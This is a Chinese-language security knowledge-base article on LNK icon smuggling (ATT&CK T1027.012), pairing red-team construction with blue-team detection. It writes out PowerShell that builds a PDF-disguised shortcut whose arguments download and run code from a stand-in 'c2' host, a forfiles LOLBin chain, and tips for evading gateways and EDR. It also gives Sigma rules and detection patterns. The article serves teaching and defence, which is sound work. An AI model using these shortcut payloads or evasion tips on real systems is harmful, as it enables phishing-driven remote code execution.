LNK 图标走私 (T1027.012)
一句话通俗理解
把恶意命令藏在一个看起来像 PDF 图标的快捷方式里——双击后以为打开的是文档,实际执行的是攻击者指定的命令
30秒速查卡
| 维度 | 你需要知道的 |
|---|---|
| 这是什么? | 在 .lnk 快捷方式中隐藏 payload,通过伪造图标与目标路径诱导用户执行,T1027 子技术 |
| 为什么危险? | .lnk 扩展名默认隐藏,图标可任意伪造,命令行可携带任意参数;用户难以视觉识别真伪 |
| 你的第一步防御 | 邮件网关拦截所有 .lnk 附件;在文件资源管理器中显示已知文件扩展名 |
| 如果只做一件事 | 部署 YARA 规则扫描所有 .lnk 文件的 TargetPath 与 IconLocation 字段,匹配可疑命令 |
难度等级
⭐⭐ 中级 - 需理解 LNK 文件格式与 Windows Shell 执行机制
前置知识检查
读这个文件需要什么?
- Windows Shell LNK 文件格式(MS-SHLLINK 规范)
- 文件扩展名隐藏机制与图标显示规则
- 混淆文件或信息(T1027)的原理
- PowerShell 与 cmd 命令行参数处理
技术描述
LNK 图标走私(T1027.012)是 混淆文件或信息(T1027)的一个具体变体,属于 隐蔽 阶段的攻击技术。
攻击者构造一个 Windows 快捷方式文件(.lnk),通过设置伪造的图标资源(如 PDF/Word 图标)、目标路径指向恶意命令(如 powershell.exe -w hidden -c IEX ...)、隐藏命令行窗口等手段,诱导用户双击执行。LNK 文件本质是包含 Shell 链接结构的二进制文件,可携带任意命令行参数与环境变量,但默认 Windows 资源管理器隐藏其 .lnk 扩展名,只显示图标。
具体怎么理解?
想象一个诈骗犯伪造了一张“银行VIP卡“——卡面印着花旗银行的 logo(伪造图标),但磁条里写的是诈骗犯的账号(恶意命令)。受害者拿到卡片以为是自己银行发的,刷卡时钱却进了诈骗犯口袋。Windows 资源管理器就像是不仔细看磁条的刷卡机——它只看卡面(图标),不检查磁条内容(命令行)。
技术上有三种主要走私方式:
- 图标伪造:将 .lnk 的
IconLocation指向系统自带的 PDF/Word/Excel 图标资源(如%SystemRoot%\Installer\{...}\wordicon.exe,0),用户看到的是文档图标,实际目标指向cmd.exe /c payload - TargetPath 命令注入:LNK 的
TargetPath字段不限于可执行文件路径,可以是powershell.exe、cmd.exe、wscript.exe等系统解释器,Arguments字段携带完整恶意命令 - 环境变量与相对路径:使用
%TEMP%、%APPDATA%、.\等相对路径引用 payload,绕过绝对路径检测;配合ctrl.exe、forfiles.exe等 LOLBins 间接执行
为什么有效?
这种技术之所以有效,是因为:
- 扩展名隐藏:Windows 默认隐藏已知文件扩展名,
invoice.pdf.lnk显示为invoice.pdf(带 PDF 图标),用户无法视觉识别 - 图标可任意伪造:LNK 的
IconLocation字段可指向任意 PE 文件的图标资源,攻击者可借用任何合法程序的图标 - 命令行不显示:鼠标悬停在 .lnk 上时,提示框只显示“快捷方式“字样,不显示 TargetPath 与 Arguments
- 绕过邮件网关扩展名黑名单:部分邮件网关仅基于扩展名拦截 .exe/.bat/.vbs,但允许 .lnk 通过
- 携带任意 payload:通过
Arguments字段可携带 PowerShell 一行命令、mshta http://c2/evil.hta、rundll32调用等
真型场景
攻击者在 隐蔽 阶段使用 LNK 图标走私 技术,以下是典型的攻击步骤:
graph TD
A["构造恶意.lnk"] --> B["设置PDF图标"]
B --> C["TargetPath=powershell.exe"]
C --> D["Arguments=IEX下载命令"]
D --> E["重命名为invoice.pdf.lnk"]
E --> F["钓鱼邮件投递"]
F --> G["用户双击"]
G --> H["实际执行PowerShell"]
H --> I["下载并执行beacon"]
style A fill:#ff6b6b,stroke:#333,stroke-width:2px
style B fill:#ff6b6b,stroke:#333,stroke-width:2px
style H fill:#ff6b6b,stroke:#333,stroke-width:2px
步骤详解:
- 构造恶意 .lnk:PowerShell
$WshShell = New-Object -ComObject WScript.Shell; $shortcut = $WshShell.CreateShortcut("invoice.lnk")创建快捷方式对象 - 设置 PDF 图标:
$shortcut.IconLocation = "C:\Program Files\Adobe\Acrobat\Acrobat.exe,0",借用 Acrobat PDF 图标 - TargetPath 指向 PowerShell:
$shortcut.TargetPath = "powershell.exe" - Arguments 携带命令:
$shortcut.Arguments = "-w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')" - 重命名 invoice.pdf.lnk:配合扩展名隐藏,显示为
invoice.pdf(PDF 图标) - 钓鱼邮件投递:作为附件发送,邮件网关若未拦截 .lnk 则直接送达
- 用户双击:用户看到 PDF 图标,以为打开文档
- 实际执行 PowerShell:Windows Shell 解析 LNK,启动
powershell.exe -w hidden -c IEX ... - 下载并执行 beacon:PowerShell 从 C2 下载 beacon,反射式加载到内存
攻击流程
创建LNK对象 --> 设置图标与目标 --> 重命名隐藏扩展 --> 邮件投递 --> 用户双击 --> PowerShell执行
graph LR
A["PowerShell构造"] -->|"IconLocation"| B["PDF图标"]
A -->|"TargetPath"| C["powershell.exe"]
A -->|"Arguments"| D["IEX下载命令"]
B --> E["invoice.pdf.lnk"]
C --> E
D --> E
E -->|"邮件附件"| F["受害者"]
F -->|"双击"| G["隐藏窗口执行"]
G --> H["C2 beacon"]
步骤详解:
- PowerShell 构造 LNK:通过
WScript.ShellCOM 对象的CreateShortcut方法创建 LNK,设置TargetPath、Arguments、IconLocation、WindowStyle、WorkingDirectory字段 - 设置图标:
IconLocation指向系统自带 PDF 图标资源——C:\Program Files\Adobe\Acrobat\Acrobat.exe,0、%SystemRoot%\System32\shell32.dll,69 - TargetPath 指向解释器:可以是
powershell.exe、cmd.exe、wscript.exe、mshta.exe、rundll32.exe等 LOLBins;WorkingDirectory设为%TEMP%隐藏执行位置 - Arguments 携带命令:可携带完整 PowerShell 命令、
mshta http://URL、rundll32调用;常用-w hidden隐藏窗口、-nop跳过配置文件、-encBase64 编码命令 - 邮件投递:作为附件发送,配合社工文案(“发票”、“合同”、“对账单”);部分邮件网关不深度解析 .lnk 内容
- 用户双击执行:Windows Shell 解析 LNK,根据
TargetPath启动进程,传入Arguments;WindowStyle = 7(最小化)或powershell -w hidden隐藏窗口
真实案例
案例1:FIN7/TA577 伪装 PDF 钓鱼(2024-2025)
攻击者发送伪装成“采购对账单“的钓鱼邮件,附件为 PO_2025.pdf.lnk。LNK 图标借用 Acrobat PDF 图标,TargetPath 指向 powershell.exe,Arguments 为 -w hidden -nop -enc <Base64编码的下载命令>。受害者双击后以为打开 PDF,PowerShell 隐藏窗口从 C2 下载 Cobalt Strike beacon 反射式加载到内存。多个目标组织财务人员中招,攻击者横向移动后部署勒索软件,造成业务中断与数据泄露。参考:MITRE ATT&CK T1027.012
案例2:红队 LOLBin 链式调用(2025)
红队在授权评估中用 Python pylnk3 库批量生成伪装 LNK,配合 USB 投放社工。LNK 借用 Word 图标,TargetPath 为 cmd.exe /c forfiles /p %SystemRoot%\System32 /m cmd.exe /c "powershell -w hidden -c IEX ...",利用 forfiles LOLBin 间接执行 PowerShell 绕过 EDR 对 cmd.exe 直接调用 powershell.exe 的检测。验证了“LOLBin 链式调用 + LNK 伪装“的检测盲区,推动部署 Sysmon EID 1 监控 forfiles.exe 子进程创建。参考:Atomic Red Team
红队视角
⚠️ 免责声明:以下内容仅用于合法的安全测试、渗透测试和教育目的。未经授权对他人系统进行测试是违法行为。
实战技巧
- 深入理解原理:掌握 MS-SHLLINK 规范、Windows Shell 解析流程、LOLBin 链式调用模式,理解 EDR 对 LNK 文件的检测能力
- 环境适配:目标邮件网关拦截 .lnk 则将 LNK 嵌入 ISO/IMG 镜像;端点 EDR 监控 cmd→powershell 则改用
forfiles/syncappvpublishingserver等冷门 LOLBin - 组合使用:LNK + 反射式加载 = 无文件攻击;LNK + ISO 容器 = 绕过 MOTW;LNK + LOLBin = 绕过进程链检测
- 隐蔽性考虑:
Arguments使用-encBase64 编码避免明文命令;IconLocation指向真实存在的图标资源;WindowStyle设为 7(最小化)
常用工具
| 工具名称 | 用途 | 平台 | 链接 |
|---|---|---|---|
| PowerShell | 通过 WScript.Shell COM 创建 LNK | Windows | 内置 |
| pylnk3 | Python LNK 文件生成与解析 | 跨平台 | pylnk3 |
| lnk_parser.py | LNK 文件解析取证 | Python | lnk_parser |
| Metasploit msfvenom | 生成 LNK payload | 跨平台 | Metasploit |
注意事项
- 在授权的测试环境中使用这些技术
- 注意操作安全(OPSEC),避免被检测系统发现
蓝队视角
检测要点
- 系统日志监控:Sysmon EID 1(进程创建)监控
powershell.exe、cmd.exe、wscript.exe、mshta.exe、forfiles.exe等解释器的父进程为explorer.exe且命令行包含-enc、-w hidden、IEX、DownloadString等可疑参数 - 异常行为检测:用户双击“PDF“后没有 PDF 进程启动,反而启动了 PowerShell/cmd;
explorer.exe启动子进程的命令行包含%TEMP%、%APPDATA%等环境变量 - 工具特征识别:监控
pylnk3、lnk_parser等工具在非开发环境的异常使用;批量生成 LNK 的 PowerShell 脚本特征
监控建议
- 部署 Sysmon 配置:监控可疑解释器的子进程创建,特别关注
explorer.exe作为父进程 - 邮件网关深度解析 .lnk 附件:提取
TargetPath与Arguments字段,匹配可疑命令模式 - 终端用户培训:识别“扩展名伪装“的钓鱼附件,不要双击来源不明的“文档“
用人话说: 正常人双击一个“PDF“,应该弹出 Adobe Reader 打开文档。如果双击后什么都没发生(或闪过黑窗),但任务管理器里多了个 powershell.exe——这绝对是 LNK 图标走私。
避坑指南
常见混淆误区:
- 显示扩展名≠绝对安全:即使显示扩展名,用户也可能因图标误导而双击;且部分攻击者利用 RTL 字符反转(如
pdf.txt.lnk显示为lnk.txt.fdp)进一步混淆 - 拦截 .lnk 附件≠万无一失:攻击者可将 LNK 嵌入 ISO/IMG/RAR 容器,绕过邮件网关的扩展名检查
- 只监控 powershell.exe 子进程不够:攻击者可改用
forfiles、syncappvpublishingserver、pcalua等 LOLBin 间接调用,绕过对cmd.exe → powershell.exe链路的检测 - LNK 文件本身可携带 payload:LNK 可携带超大
Arguments字段(嵌入完整 PowerShell 脚本),可作为独立的 payload 容器
检测建议
检测思路
检测 LNK 图标走私的关键是“解析 LNK 内部字段 + 监控解释器异常调用“。以下是三个层面的检测方法:
网络层检测
方法:在邮件网关深度解析 .lnk 附件,提取 TargetPath 与 Arguments 字段
# 邮件网关集成示例:lnk_scan.sh 解析 LNK 附件
for attachment in $email_attachments; do
file_type=$(file -b "$attachment")
if [[ "$file_type" == *"Windows Shortcut"* ]]; then
python3 /opt/lnk_parser.py "$attachment" > /tmp/lnk_dump.txt
target_path=$(grep -oP "Target Path: \K.*" /tmp/lnk_dump.txt)
arguments=$(grep -oP "Arguments: \K.*" /tmp/lnk_dump.txt)
if echo "$target_path $arguments" | grep -qiE "(powershell|cmd|wscript|mshta|rundll32|forfiles).*(IEX|DownloadString|-enc|-w hidden|http)"; then
echo "REJECT: LNK 携带可疑命令 - $target_path $arguments" >&2; exit 67
fi
fi
done
exit 0
主机层检测
Windows事件ID:
- Sysmon EID 1:进程创建,监控 explorer.exe 启动解释器子进程
- Sysmon EID 11:文件创建,监控 .lnk 文件在临时目录、下载目录的创建
- 事件ID 4688:进程创建(监控可疑命令行)
Sysmon配置要点:监控 ParentImage endswith explorer.exe 且 Image endswith powershell.exe|cmd.exe|wscript.exe|mshta.exe|rundll32.exe|forfiles.exe;监控 TargetFilename endswith .lnk 且 contains \Temp\。用 ProcessCreate+FileCreate 两个 RuleGroup 覆盖。
用人话说: 这条规则监控“用户在文件管理器里双击启动了 PowerShell/cmd“——正常用户不会从 explorer.exe 直接启动这些解释器,基本只可能来自 LNK 快捷方式或漏洞利用。
Sigma规则(解释器异常子进程)
title: 检测LNK图标走私 - 解释器异常子进程
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\explorer.exe'
selection_suspicious:
Image|endswith: ['\powershell.exe','\cmd.exe','\wscript.exe','\mshta.exe','\forfiles.exe']
filter_legitimate:
CommandLine|contains: ['SCCM','\\Windows\\System32\\']
condition: selection_parent and selection_suspicious and not filter_legitimate
level: high
tags: [attack.t1027, attack.t1027.012, attack.defense_evasion, attack.execution]
应用层检测
Sigma规则(PowerShell -enc 参数检测):
title: 检测LNK图标走私 - PowerShell -enc 参数
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\explorer.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains: ['-enc ','-EncodedCommand',' -w hidden',' -nop -c']
condition: selection
level: critical
falsepositives: [罕见的合法管理脚本(需白名单)]
tags: [attack.t1027, attack.t1027.012, attack.execution]
缓解措施
优先级1:关键措施
邮件网关拦截 .lnk 附件 + 显示文件扩展名
# Postfix header_checks 拦截 .lnk 附件
/^Content-Type:.*name=.*\.lnk/ REJECT 拒绝LNK附件
/^Content-Disposition:.*filename=.*\.lnk/ REJECT 拒绝LNK附件
# Windows 注册表:显示所有文件扩展名
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 0 /f
优先级2:重要措施
加强监控:部署 Sysmon 监控 explorer.exe 启动解释器子进程;配置 ASR 规则阻止 Office 程序创建子进程;启用 SmartScreen 与 MOTW
优先级3:建议措施
用户安全培训:教育用户识别“扩展名伪装“的钓鱼附件;不双击来源不明的“文档“;养成右键“属性“查看文件真实类型的习惯
动手实验
⚠️ 所有实验必须在隔离的实验室环境中进行
实验1:理解基本原理(初级)
目标:理解 LNK 图标走私 的视觉欺骗原理
步骤:
- 在隔离 Windows 虚拟机中打开 PowerShell
- 创建一个无害的 LNK 文件,伪装成 PDF:
$ws = New-Object -ComObject WScript.Shell $sc = $ws.CreateShortcut("$env:USERPROFILE\Desktop\test.pdf.lnk") $sc.TargetPath = "powershell.exe" $sc.Arguments = "-NoExit -c Write-Host 'You have been tricked!'" $sc.IconLocation = "C:\Program Files\Adobe\Acrobat\Acrobat.exe,0" $sc.WindowStyle = 7 $sc.Save() - 关闭 PowerShell,到桌面查看
test.pdf.lnk(显示 PDF 图标,扩展名隐藏) - 双击查看实际效果(弹出 PowerShell 窗口而非 PDF 阅读器)
- 右键→属性,查看“目标“字段,理解 LNK 内部结构
- 清理:删除
test.pdf.lnk
学习要点:直观感受“图标欺骗 + 扩展名隐藏“的视觉混淆效果
实验2:实际操作(中级)
目标:掌握用 Python 批量解析 LNK 文件并提取可疑字段
步骤:
- 安装
pylnk3:pip install pylnk3 - 编写 LNK 解析脚本
lnk_audit.py,核心逻辑:用pylnk3.parse(path)解析,正则(powershell|cmd|wscript|mshta|rundll32|forfiles).*(IEX|DownloadString|-enc|http)匹配lnk.path + lnk.arguments,命中则打印[ALERT]与 Icon 字段 - 在隔离环境中扫描测试 LNK 文件
- 配置 Sysmon EID 1 监控规则,验证双击 LNK 时的告警
学习要点:掌握 LNK 内部字段解析方法,理解批量审计流程
实验3:防御验证(高级)
目标:验证 LOLBin 链式调用对 EDR 的绕过效果
步骤:
- 构造一个使用
forfilesLOLBin 的 LNK:TargetPath=C:\Windows\System32\forfiles.exe,Arguments=/p C:\Windows\System32 /m cmd.exe /c "powershell -w hidden -c IEX(...)",IconLocation=shell32.dll,70 - 在测试虚拟机中部署 Sysmon EID 1 监控
- 双击 LNK,观察进程链:
explorer.exe → forfiles.exe → cmd.exe → powershell.exe - 验证 EDR 是否检测到
cmd.exe → powershell.exe链路(基础检测点) - 验证 EDR 是否检测到
forfiles.exe启动子进程(进阶检测点) - 优化 Sigma 规则覆盖 LOLBin 链式调用
学习要点:理解 LOLBin 链式调用对检测的绕过挑战,掌握进程链关联检测策略
术语解释
| 术语 | 通俗解释 |
|---|---|
| LNK 图标走私 | T1027.012,在快捷方式中隐藏恶意命令并伪造图标 |
| LNK 文件 | Windows 快捷方式文件,包含 Shell 链接结构 |
| MS-SHLLINK | 微软定义的 LNK 文件格式规范 |
| LOLBin | Living-off-the-Land Binary,系统自带的可被滥用的合法程序 |
| MOTW | Mark-of-the-Web,Windows 对互联网下载文件的标记 |
| TargetPath | LNK 文件中目标程序路径字段 |
| Arguments | LNK 文件中传递给目标程序的命令行参数字段 |
被引用情况
以下父技术文档引用了本子技术:
参考资料
📚 官方文档
📰 安全报告
- Mandiant - FIN7 攻击分析 - FIN7 大量使用 LNK 钓鱼
- Palo Alto Unit 42 - LNK 恶意软件趋势 - LNK 攻击趋势分析
🔧 工具与资源
- Atomic Red Team - 检测规则测试框架
- pylnk3 - Python LNK 文件操作库
- lnk_parser - LNK 文件解析工具
- Sysmon - 系统监控工具
📚 学习资料
- Practical Malware Analysis 逆向工程实战 - LNK 恶意软件分析章节
- SANS - LNK Forensics - LNK 取证白皮书